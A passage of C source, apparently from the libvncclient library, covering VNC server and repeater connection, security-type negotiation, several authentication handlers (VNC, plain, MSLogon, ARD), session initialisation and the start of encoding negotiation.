rfbServerCutText); } void DefaultSupportedMessagesUltraVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetScale); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); SetClient2Server(client, rfbTextChat); SetClient2Server(client, rfbPalmVNCSetScaleFactor); /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbResizeFrameBuffer); SetServer2Client(client, rfbPalmVNCReSizeFrameBuffer); SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } void DefaultSupportedMessagesTightVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); /* SetClient2Server(client, rfbTextChat); */ /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } #ifndef WIN32 static rfbBool IsUnixSocket(const char *name) { struct stat sb; if(stat(name, &sb) == 0 && (sb.st_mode & S_IFMT) == S_IFSOCK) return TRUE; return FALSE; } #endif /* * ConnectToRFBServer. */ rfbBool ConnectToRFBServer(rfbClient* client,const char *hostname, int port) { if (client->serverPort==-1) { /* serverHost is a file recorded by vncrec. */ const char* magic="vncLog0.0"; char buffer[10]; rfbVNCRec* rec = (rfbVNCRec*)malloc(sizeof(rfbVNCRec)); client->vncRec = rec; rec->file = fopen(client->serverHost,"rb"); rec->tv.tv_sec = 0; rec->readTimestamp = FALSE; rec->doNotSleep = FALSE; if (!rec->file) { rfbClientLog("Could not open %s.\n",client->serverHost); return FALSE; } setbuf(rec->file,NULL); if (fread(buffer,1,strlen(magic),rec->file) != strlen(magic) || strncmp(buffer,magic,strlen(magic))) { rfbClientLog("File %s was not recorded by vncrec.\n",client->serverHost); fclose(rec->file); return FALSE; } client->sock = -1; return TRUE; } #ifndef WIN32 if(IsUnixSocket(hostname)) /* serverHost is a UNIX socket. */ client->sock = ConnectClientToUnixSock(hostname); else #endif { #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(hostname, port); if (client->sock == -1) #endif { unsigned int host; /* serverHost is a hostname */ if (!StringToIPAddr(hostname, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", hostname); return FALSE; } client->sock = ConnectClientToTcpAddr(host, port); } } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC server\n"); return FALSE; } if(client->QoS_DSCP && !SetDSCP(client->sock, client->QoS_DSCP)) return FALSE; return SetNonBlocking(client->sock); } /* * ConnectToRFBRepeater. */ rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort) { rfbProtocolVersionMsg pv; int major,minor; char tmphost[250]; int tmphostlen; #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(repeaterHost, repeaterPort); if (client->sock == -1) #endif { unsigned int host; if (!StringToIPAddr(repeaterHost, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", repeaterHost); return FALSE; } client->sock = ConnectClientToTcpAddr(host, repeaterPort); } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC repeater\n"); return FALSE; } if (!SetNonBlocking(client->sock)) return FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg] = 0; /* UltraVNC repeater always report version 000.000 to identify itself */ if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2 || major != 0 || minor != 0) { rfbClientLog("Not a valid VNC repeater (%s)\n",pv); return FALSE; } rfbClientLog("Connected to VNC repeater, using protocol version %d.%d\n", major, minor); tmphostlen = snprintf(tmphost, sizeof(tmphost), "%s:%d", destHost, destPort); if(tmphostlen < 0 || tmphostlen >= (int)sizeof(tmphost)) return FALSE; /* snprintf error or output truncated */ if (!WriteToRFBServer(client, tmphost, tmphostlen + 1)) return FALSE; return TRUE; } extern void rfbClientEncryptBytes(unsigned char* bytes, char* passwd); extern void rfbClientEncryptBytes2(unsigned char *where, const int length, unsigned char *key); static void ReadReason(rfbClient* client) { uint32_t reasonLen; char *reason; if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return; reasonLen = rfbClientSwap32IfLE(reasonLen); if(reasonLen > 1<<20) { rfbClientLog("VNC connection failed, but sent reason length of %u exceeds limit of 1MB",(unsigned int)reasonLen); return; } reason = malloc(reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); } rfbBool rfbHandleAuthResult(rfbClient* client) { uint32_t authResult=0; if (!ReadFromRFBServer(client, (char *)&authResult, 4)) return FALSE; authResult = rfbClientSwap32IfLE(authResult); switch (authResult) { case rfbVncAuthOK: rfbClientLog("VNC authentication succeeded\n"); return TRUE; break; case rfbVncAuthFailed: if (client->major==3 && client->minor>7) { /* we have an error following */ ReadReason(client); return FALSE; } rfbClientLog("VNC authentication failed\n"); return FALSE; case rfbVncAuthTooMany: rfbClientLog("VNC authentication failed - too many tries\n"); return FALSE; } rfbClientLog("Unknown VNC authentication result: %d\n", (int)authResult); return FALSE; } static rfbBool ReadSupportedSecurityType(rfbClient* client, uint32_t *result, rfbBool subAuth) { uint8_t count=0; uint8_t loop=0; uint8_t flag=0; rfbBool extAuthHandler; uint8_t tAuth[256]; char buf1[500],buf2[10]; uint32_t authScheme; rfbClientProtocolExtension* e; if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; if (count==0) { rfbClientLog("List of security types is ZERO, expecting an error to follow\n"); ReadReason(client); return FALSE; } rfbClientLog("We have %d security types to read\n", count); authScheme=0; /* now, we have a list of available security types to read ( uint8_t[] ) */ for (loop=0;loop<count;loop++) { if (!ReadFromRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; rfbClientLog("%d) Received security type %d\n", loop, tAuth[loop]); if (flag) continue; extAuthHandler=FALSE; for (e = rfbClientExtensions; e; e = e->next) { if (!e->handleAuthentication) continue; uint32_t const* secType; for (secType = e->securityTypes; secType && *secType; secType++) { if (tAuth[loop]==*secType) { extAuthHandler=TRUE; } } } if (tAuth[loop]==rfbVncAuth || tAuth[loop]==rfbNoAuth || extAuthHandler || #if defined(LIBVNCSERVER_HAVE_GNUTLS) || defined(LIBVNCSERVER_HAVE_LIBSSL) tAuth[loop]==rfbVeNCrypt || #endif #ifdef LIBVNCSERVER_HAVE_SASL tAuth[loop]==rfbSASL || #endif /* LIBVNCSERVER_HAVE_SASL */ (tAuth[loop]==rfbARD && client->GetCredential) || (!subAuth && (tAuth[loop]==rfbTLS || (tAuth[loop]==rfbVeNCrypt && client->GetCredential)))) { if (!subAuth && client->clientAuthSchemes) { int i; for (i=0;client->clientAuthSchemes[i];i++) { if (client->clientAuthSchemes[i]==(uint32_t)tAuth[loop]) { flag++; authScheme=tAuth[loop]; break; } } } else { flag++; authScheme=tAuth[loop]; } if (flag) { rfbClientLog("Selecting security type %d (%d/%d in the list)\n", authScheme, loop, count); /* send back a single byte indicating which security type to use */ if (!WriteToRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; } } } if (authScheme==0) { memset(buf1, 0, sizeof(buf1)); for (loop=0;loop<count;loop++) { if (strlen(buf1)>=sizeof(buf1)-1) break; snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); } rfbClientLog("Unknown authentication scheme from VNC server: %s\n", buf1); return FALSE; } *result = authScheme; return TRUE; } static rfbBool HandleVncAuth(rfbClient *client) { uint8_t challenge[CHALLENGESIZE]; char *passwd=NULL; int i; if (!ReadFromRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; if (client->serverPort!=-1) { /* if not playing a vncrec file */ if (client->GetPassword) passwd = client->GetPassword(client); if ((!passwd) || (strlen(passwd) == 0)) { rfbClientLog("Reading password failed\n"); return FALSE; } if (strlen(passwd) > 8) { passwd[8] = '\0'; } rfbClientEncryptBytes(challenge, passwd); /* Lose the password from memory */ for (i = strlen(passwd); i >= 0; i--) { passwd[i] = '\0'; } free(passwd); if (!WriteToRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; } /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } static void FreeUserCredential(rfbCredential *cred) { if (cred->userCredential.username) free(cred->userCredential.username); if (cred->userCredential.password) free(cred->userCredential.password); free(cred); } static rfbBool HandlePlainAuth(rfbClient *client) { uint32_t ulen, ulensw; uint32_t plen, plensw; rfbCredential *cred; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } ulen = (cred->userCredential.username ? strlen(cred->userCredential.username) : 0); ulensw = rfbClientSwap32IfLE(ulen); plen = (cred->userCredential.password ? strlen(cred->userCredential.password) : 0); plensw = rfbClientSwap32IfLE(plen); if (!WriteToRFBServer(client, (char *)&ulensw, 4) || !WriteToRFBServer(client, (char *)&plensw, 4)) { FreeUserCredential(cred); return FALSE; } if (ulen > 0) { if (!WriteToRFBServer(client, cred->userCredential.username, ulen)) { FreeUserCredential(cred); return FALSE; } } if (plen > 0) { if (!WriteToRFBServer(client, cred->userCredential.password, plen)) { FreeUserCredential(cred); return FALSE; } } FreeUserCredential(cred); /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } /* Simple 64bit big integer arithmetic implementation */ /* (x + y) % m, works even if (x + y) > 64bit */ #define rfbAddM64(x,y,m) ((x+y)%m+(x+y<x?(((uint64_t)-1)%m+1)%m:0)) /* (x * y) % m */ static uint64_t rfbMulM64(uint64_t x, uint64_t y, uint64_t m) { uint64_t r; for(r=0;x>0;x>>=1) { if (x&1) r=rfbAddM64(r,y,m); y=rfbAddM64(y,y,m); } return r; } /* (x ^ y) % m */ static uint64_t rfbPowM64(uint64_t b, uint64_t e, uint64_t m) { uint64_t r; for(r=1;e>0;e>>=1) { if(e&1) r=rfbMulM64(r,b,m); b=rfbMulM64(b,b,m); } return r; } static rfbBool HandleMSLogonAuth(rfbClient *client) { uint64_t gen, mod, resp, priv, pub, key; uint8_t username[256], password[64]; rfbCredential *cred; if (!ReadFromRFBServer(client, (char *)&gen, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&mod, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&resp, 8)) return FALSE; gen = rfbClientSwap64IfLE(gen); mod = rfbClientSwap64IfLE(mod); resp = rfbClientSwap64IfLE(resp); if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } rfbClientLog("WARNING! MSLogon security type has very low password encryption! "\ "Use it only with SSH tunnel or trusted network.\n"); cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } memset(username, 0, sizeof(username)); strncpy((char *)username, cred->userCredential.username, sizeof(username)); memset(password, 0, sizeof(password)); strncpy((char *)password, cred->userCredential.password, sizeof(password)); FreeUserCredential(cred); srand(time(NULL)); priv = ((uint64_t)rand())<<32; priv |= (uint64_t)rand(); pub = rfbPowM64(gen, priv, mod); key = rfbPowM64(resp, priv, mod); pub = rfbClientSwap64IfLE(pub); key = rfbClientSwap64IfLE(key); rfbClientEncryptBytes2(username, sizeof(username), (unsigned char *)&key); rfbClientEncryptBytes2(password, sizeof(password), (unsigned char *)&key); if (!WriteToRFBServer(client, (char *)&pub, 8)) return FALSE; if (!WriteToRFBServer(client, (char *)username, sizeof(username))) return FALSE; if (!WriteToRFBServer(client, (char *)password, sizeof(password))) return FALSE; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT static rfbBool rfbMpiToBytes(const gcry_mpi_t value, uint8_t *result, size_t size) { gcry_error_t error; size_t len; int i; error = gcry_mpi_print(GCRYMPI_FMT_USG, result, size, &len, value); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_print error: %s\n", gcry_strerror(error)); return FALSE; } for (i=size-1;i>(int)size-1-(int)len;--i) result[i] = result[i-size+len]; for (;i>=0;--i) result[i] = 0; return TRUE; } static rfbBool HandleARDAuth(rfbClient *client) { uint8_t gen[2], len[2]; size_t keylen; uint8_t *mod = NULL, *resp, *pub, *key, *shared; gcry_mpi_t genmpi = NULL, modmpi = NULL, respmpi = NULL; gcry_mpi_t privmpi = NULL, pubmpi = NULL, keympi = NULL; gcry_md_hd_t md5 = NULL; gcry_cipher_hd_t aes = NULL; gcry_error_t error; uint8_t userpass[128], ciphertext[128]; int passwordLen, usernameLen; rfbCredential *cred = NULL; rfbBool result = FALSE; if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P)) { /* Application did not initialize gcrypt, so we should */ if (!gcry_check_version(GCRYPT_VERSION)) { /* Older version of libgcrypt is installed on system than compiled against */ rfbClientLog("libgcrypt version mismatch.\n"); } } while (1) { if (!ReadFromRFBServer(client, (char *)gen, 2)) break; if (!ReadFromRFBServer(client, (char *)len, 2)) break; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); break; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); break; } keylen = 256*len[0]+len[1]; mod = (uint8_t*)malloc(keylen*4); if (!mod) { rfbClientLog("malloc out of memory\n"); break; } resp = mod+keylen; pub = resp+keylen; key = pub+keylen; if (!ReadFromRFBServer(client, (char *)mod, keylen)) break; if (!ReadFromRFBServer(client, (char *)resp, keylen)) break; error = gcry_mpi_scan(&genmpi, GCRYMPI_FMT_USG, gen, 2, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&modmpi, GCRYMPI_FMT_USG, mod, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&respmpi, GCRYMPI_FMT_USG, resp, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } privmpi = gcry_mpi_new(keylen); if (!privmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_randomize(privmpi, (keylen/8)*8, GCRY_STRONG_RANDOM); pubmpi = gcry_mpi_new(keylen); if (!pubmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(pubmpi, genmpi, privmpi, modmpi); keympi = gcry_mpi_new(keylen); if (!keympi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(keympi, respmpi, privmpi, modmpi); if (!rfbMpiToBytes(pubmpi, pub, keylen)) break; if (!rfbMpiToBytes(keympi, key, keylen)) break; error = gcry_md_open(&md5, GCRY_MD_MD5, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_open error: %s\n", gcry_strerror(error)); break; } gcry_md_write(md5, key, keylen); error = gcry_md_final(md5); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_final error: %s\n", gcry_strerror(error)); break; } shared = gcry_md_read(md5, GCRY_MD_MD5); passwordLen = strlen(cred->userCredential.password)+1; usernameLen = strlen(cred->userCredential.username)+1; if (passwordLen > sizeof(userpass)/2) passwordLen = sizeof(userpass)/2; if (usernameLen > sizeof(userpass)/2) usernameLen = sizeof(userpass)/2; gcry_randomize(userpass, sizeof(userpass), GCRY_STRONG_RANDOM); memcpy(userpass, cred->userCredential.username, usernameLen); memcpy(userpass+sizeof(userpass)/2, cred->userCredential.password, passwordLen); error = gcry_cipher_open(&aes, GCRY_CIPHER_AES128, GCRY_CIPHER_MODE_ECB, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_open error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_setkey(aes, shared, 16); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_setkey error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_encrypt(aes, ciphertext, sizeof(ciphertext), userpass, sizeof(userpass)); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_encrypt error: %s\n", gcry_strerror(error)); break; } if (!WriteToRFBServer(client, (char *)ciphertext, sizeof(ciphertext))) break; if (!WriteToRFBServer(client, (char *)pub, keylen)) break; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) break; result = TRUE; break; } if (cred) FreeUserCredential(cred); if (mod) free(mod); if (genmpi) gcry_mpi_release(genmpi); if (modmpi) gcry_mpi_release(modmpi); if (respmpi) gcry_mpi_release(respmpi); if (privmpi) gcry_mpi_release(privmpi); if (pubmpi) gcry_mpi_release(pubmpi); if (keympi) gcry_mpi_release(keympi); if (md5) gcry_md_close(md5); if (aes) gcry_cipher_close(aes); return result; } #endif /* * SetClientAuthSchemes. */ void SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size) { int i; if (client->clientAuthSchemes) { free(client->clientAuthSchemes); client->clientAuthSchemes = NULL; } if (authSchemes) { if (size<0) { /* If size<0 we assume the passed-in list is also 0-terminate, so we * calculate the size here */ for (size=0;authSchemes[size];size++) ; } client->clientAuthSchemes = (uint32_t*)malloc(sizeof(uint32_t)*(size+1)); for (i=0;i<size;i++) client->clientAuthSchemes[i] = authSchemes[i]; client->clientAuthSchemes[size] = 0; } } /* * InitialiseRFBConnection. */ rfbBool InitialiseRFBConnection(rfbClient* client) { rfbProtocolVersionMsg pv; int major,minor; uint32_t authScheme; uint32_t subAuthScheme; rfbClientInitMsg ci; /* if the connection is immediately closed, don't report anything, so that pmw's monitor can make test connections */ if (client->listenSpecified) errorMessageOnReadFailure = FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg]=0; errorMessageOnReadFailure = TRUE; pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2) { rfbClientLog("Not a valid VNC server (%s)\n",pv); return FALSE; } DefaultSupportedMessages(client); client->major = major; client->minor = minor; /* fall back to viewer supported version */ if ((major==rfbProtocolMajorVersion) && (minor>rfbProtocolMinorVersion)) client->minor = rfbProtocolMinorVersion; /* UltraVNC uses minor codes 4 and 6 for the server */ if (major==3 && (minor==4 || minor==6)) { rfbClientLog("UltraVNC server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* UltraVNC Single Click uses minor codes 14 and 16 for the server */ if (major==3 && (minor==14 || minor==16)) { minor = minor - 10; client->minor = minor; rfbClientLog("UltraVNC Single Click server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* TightVNC uses minor codes 5 for the server */ if (major==3 && minor==5) { rfbClientLog("TightVNC server detected, enabling TightVNC specific messages\n",pv); DefaultSupportedMessagesTightVNC(client); } /* we do not support > RFB3.8 */ if ((major==3 && minor>8) || major>3) { client->major=3; client->minor=8; } rfbClientLog("VNC server supports protocol version %d.%d (viewer %d.%d)\n", major, minor, rfbProtocolMajorVersion, rfbProtocolMinorVersion); sprintf(pv,rfbProtocolVersionFormat,client->major,client->minor); if (!WriteToRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; /* 3.7 and onwards sends a # of security types first */ if (client->major==3 && client->minor > 6) { if (!ReadSupportedSecurityType(client, &authScheme, FALSE)) return FALSE; } else { if (!ReadFromRFBServer(client, (char *)&authScheme, 4)) return FALSE; authScheme = rfbClientSwap32IfLE(authScheme); } rfbClientLog("Selected Security Scheme %d\n", authScheme); client->authScheme = authScheme; switch (authScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ case rfbMSLogon: if (!HandleMSLogonAuth(client)) return FALSE; break; case rfbARD: #ifndef LIBVNCSERVER_WITH_CLIENT_GCRYPT rfbClientLog("GCrypt support was not compiled in\n"); return FALSE; #else if (!HandleARDAuth(client)) return FALSE; #endif break; case rfbTLS: if (!HandleAnonTLSAuth(client)) return FALSE; /* After the TLS session is established, sub auth types are expected. * Note that all following reading/writing are through the TLS session from here. */ if (!ReadSupportedSecurityType(client, &subAuthScheme, TRUE)) return FALSE; client->subAuthScheme = subAuthScheme; switch (subAuthScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No sub authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", (int)subAuthScheme); return FALSE; } break; case rfbVeNCrypt: if (!HandleVeNCryptAuth(client)) return FALSE; switch (client->subAuthScheme) { case rfbVeNCryptTLSNone: case rfbVeNCryptX509None: rfbClientLog("No sub authentication needed\n"); if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVeNCryptTLSVNC: case rfbVeNCryptX509VNC: if (!HandleVncAuth(client)) return FALSE; break; case rfbVeNCryptTLSPlain: case rfbVeNCryptX509Plain: if (!HandlePlainAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbVeNCryptX509SASL: case rfbVeNCryptTLSSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", client->subAuthScheme); return FALSE; } break; default: { rfbBool authHandled=FALSE; rfbClientProtocolExtension* e; for (e = rfbClientExtensions; e; e = e->next) { uint32_t const* secType; if (!e->handleAuthentication) continue; for (secType = e->securityTypes; secType && *secType; secType++) { if (authScheme==*secType) { if (!e->handleAuthentication(client, authScheme)) return FALSE; if (!rfbHandleAuthResult(client)) return FALSE; authHandled=TRUE; } } } if (authHandled) break; } rfbClientLog("Unknown authentication scheme from VNC server: %d\n", (int)authScheme); return FALSE; } ci.shared = (client->appData.shareDesktop ? 1 : 0); if (!WriteToRFBServer(client, (char *)&ci, sz_rfbClientInitMsg)) return FALSE; if (!ReadFromRFBServer(client, (char *)&client->si, sz_rfbServerInitMsg)) return FALSE; client->si.framebufferWidth = rfbClientSwap16IfLE(client->si.framebufferWidth); client->si.framebufferHeight = rfbClientSwap16IfLE(client->si.framebufferHeight); client->si.format.redMax = rfbClientSwap16IfLE(client->si.format.redMax); client->si.format.greenMax = rfbClientSwap16IfLE(client->si.format.greenMax); client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax); client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength); if (client->si.nameLength > 1<<20) { rfbClientErr("Too big desktop name length sent by server: %u B > 1 MB\n", (unsigned int)client->si.nameLength); return FALSE; } client->desktopName = malloc(client->si.nameLength + 1); if (!client->desktopName) { rfbClientLog("Error allocating memory for desktop name, %lu bytes\n", (unsigned long)client->si.nameLength); return FALSE; } if (!ReadFromRFBServer(client, client->desktopName, client->si.nameLength)) return FALSE; client->desktopName[client->si.nameLength] = 0; rfbClientLog("Desktop name \"%s\"\n",client->desktopName); rfbClientLog("Connected to VNC server, using protocol version %d.%d\n", client->major, client->minor); rfbClientLog("VNC server default format:\n"); PrintPixelFormat(&client->si.format); return TRUE; } /* * SetFormatAndEncodings. */ rfbBool SetFormatAndEncodings(rfbClient* client) { rfbSetPixelFormatMsg spf; char buf[sz_rfbSetEncodingsMsg + MAX_ENCODINGS * 4]; rfbSetEncodingsMsg *se = (rfbSetEncodingsMsg *)buf; uint32_t *encs = (uint32_t *)(&buf[sz_rfbSetEncodingsMsg]); int len = 0; rfbBool requestCompressLevel = FALSE; rfbBool requestQualityLevel = FALSE; rfbBool requestLastRectEncoding = FALSE; rfbClientProtocolExtension* e; if (!SupportsClient2Server(client, rfbSetPixelFormat)) return TRUE; spf.type = rfbSetPixelFormat; spf.pad1 = 0; spf.pad2 = 0; spf.format = client->format; spf.format.redMax = rfbClientSwap16IfLE(spf.format.redMax); spf.format.greenMax = rfbClientSwap16IfLE(spf.format.greenMax); spf.format.blueMax = rfbClientSwap16IfLE(spf.format.blueMax); if (!WriteToRFBServer(client, (char *)&spf, sz_rfbSetPixelFormatMsg)) return FALSE; if (!SupportsClient2Server(client, rfbSetEncodings)) return TRUE; se->type = rfbSetEncodings; se->pad = 0; se->nEncodings = 0; if (client->appData.encodingsString) { const char *encStr = client->appData.encodingsString; int encStrLen; do { const char *nextEncStr = strchr(encStr, ' '); if (nextEncStr) { encStrLen = nextEncStr - encStr; nextEncStr++; } else { encStrLen = strlen(encStr); } if (strncasecmp(encStr,"raw",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); } else if (strncasecmp(encStr,"copyrect",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (strncasecmp(encStr,"tight",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; if (client->appData.enableJPEG) requestQualityLevel = TRUE; #endif #endif } else if (strncasecmp(encStr,"hextile",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (strncasecmp(encStr,"zlib",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"zlibhex",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlibHex); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"trle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTRLE); } else if (strncasecmp(encStr,"zrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); } else if (strncasecmp(encStr,"zywrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); requestQualityLevel = TRUE; #endif } else if ((strncasecmp(encStr,"ultra",encStrLen) == 0) || (strncasecmp(encStr,"ultrazip",encStrLen) == 0)) { /* There are 2 encodings used in 'ultra' */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); } else if (strncasecmp(encStr,"corre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); } else if (strncasecmp(encStr,"rre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); } else { rfbClientLog("Unknown encoding '%.*s'\n",encStrLen,encStr); } encStr = nextEncStr; } while (encStr && se->nEncodings < MAX_ENCODINGS); if (se->nEncodings < MAX_ENCODINGS && requestCompressLevel) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } if (se->nEncodings < MAX_ENCODINGS && requestQualityLevel) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } else { if (SameMachine(client->sock)) { /* TODO: if (!tunnelSpecified) { */ rfbClientLog("Same machine: preferring raw encoding\n"); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); /* } else { rfbClientLog("Tunneling active: preferring tight encoding\n"); } */ } encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; #endif #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); encs[se->nEncodings++] = 